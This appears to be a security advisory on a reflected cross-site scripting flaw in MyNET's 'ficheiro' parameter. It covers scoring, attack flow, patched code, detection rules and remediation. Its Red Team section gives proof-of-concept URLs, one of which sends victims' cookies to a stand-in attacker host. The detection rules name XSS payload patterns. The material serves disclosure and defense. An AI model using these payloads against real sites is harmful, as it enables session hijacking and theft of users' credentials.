CVE-2024-35322

Executive Summary

CVE-2024-35322 is a reflected Cross-Site Scripting (XSS) vulnerability discovered in MyNET, a web application by Mynet, affecting versions up to v26.08. The flaw resides in the ficheiro parameter, which is not properly sanitized before being reflected back to the user. This allows an attacker to inject arbitrary JavaScript code into the application's response, leading to session hijacking, credential theft, or defacement. The vulnerability is publicly known, but no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for unpatched instances.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom web application vulnerability in the MyNET product.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is unusual and likely indicates incomplete scoring data. Based on the nature of the vulnerability (reflected XSS), a typical CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R)
• Scope (S): Changed (C)
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Estimated Base Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability requires user interaction (clicking a crafted link) but can lead to significant impact if exploited against privileged users.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS. The ficheiro parameter is likely used to specify a file name or path that is then displayed back to the user in the HTTP response. The application fails to encode or sanitize this input, allowing an attacker to inject HTML and JavaScript.

Attack Flow:

1. An attacker crafts a malicious URL containing JavaScript payload in the ficheiro parameter.
2. The attacker sends this URL to a victim (e.g., via phishing email, social media, or a link on a compromised site).
3. The victim clicks the link and is directed to the vulnerable MyNET application.
4. The application reflects the malicious payload in the response without sanitization.
5. The victim's browser executes the injected JavaScript, which can:
   • Steal session cookies.
   • Redirect to a phishing page.
   • Perform actions on behalf of the victim.
   • Deface the page.

Vulnerable Code (Conceptual):

// Vulnerable PHP code
$ficheiro = $_GET['ficheiro'];
echo "File: " . $ficheiro;

Patched Code (Conceptual):

// Patched PHP code
$ficheiro = htmlspecialchars($_GET['ficheiro'], ENT_QUOTES, 'UTF-8');
echo "File: " . $ficheiro;

Exploitation & Lab Setup

Red Team (Exploitation)

Proof of Concept (PoC): The following URL demonstrates the vulnerability:

http://target.com/vulnerable_page.php?ficheiro=<script>alert('XSS')</script>

Advanced Payload:

http://target.com/vulnerable_page.php?ficheiro=<img src=x onerror=alert(document.cookie)>

Lab Setup:

1. Deploy a vulnerable instance of MyNET v26.08 (or earlier) in a controlled environment.
2. Use a web browser or tool like curl to test the PoC.
3. For session hijacking, use a payload that sends cookies to an attacker-controlled server:

   http://target.com/vulnerable_page.php?ficheiro=<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>
   

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for suspicious ficheiro parameter values containing <script>, onerror, onload, or other HTML/JavaScript event handlers.
• Use WAF rules to block requests with obvious XSS patterns in the ficheiro parameter.

Defense:

• Apply input validation and output encoding (e.g., htmlspecialchars in PHP).
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use HTTP-only cookies to mitigate session theft.
• Educate users about phishing links.

Indicators of Compromise (IOCs)

• URL Pattern: */vulnerable_page.php?ficheiro=*<script>*
• Network Traffic: HTTP requests with ficheiro parameter containing base64-encoded JavaScript or event handlers.
• Log Entries: Web server logs showing ficheiro parameter with <, >, script, onerror, etc.
• File Hashes: N/A (no exploit code provided).

Detection Engineering

YARA Rule

rule CVE_2024_35322_XSS_Detection {
    meta:
        description = "Detects reflected XSS attempts targeting CVE-2024-35322 in MyNET"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-35322"
    strings:
        $xss_pattern1 = /ficheiro=.*<script>/i
        $xss_pattern2 = /ficheiro=.*onerror/i
        $xss_pattern3 = /ficheiro=.*onload/i
        $xss_pattern4 = /ficheiro=.*alert\(/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt on MyNET ficheiro Parameter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected XSS attempts targeting CVE-2024-35322
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'ficheiro='
        cs-uri-query|contains|all:
            - '<'
            - '>'
    condition: selection
falsepositives:
    - Legitimate file names containing '<' or '>' (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-35322 MyNET Reflected XSS Attempt"; flow:to_server,established; content:"ficheiro="; http_uri; pcre:"/ficheiro=.*<script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize the ficheiro parameter by stripping or encoding HTML tags.
2. Output Encoding: Use context-appropriate encoding (e.g., HTML entity encoding) when reflecting user input.
3. WAF Rules: Deploy Web Application Firewall rules to block XSS patterns in the ficheiro parameter.
4. CSP Header: Implement a strict Content Security Policy to prevent inline script execution.

Long-Term Fix:

• The vendor (Mynet) should release a patched version that properly sanitizes the ficheiro parameter.
• Until a patch is available, consider disabling the vulnerable functionality or applying a virtual patch via WAF.

Workaround:

• If source code is available, modify the application to use htmlspecialchars() or equivalent function on the ficheiro parameter before output.

Valters IT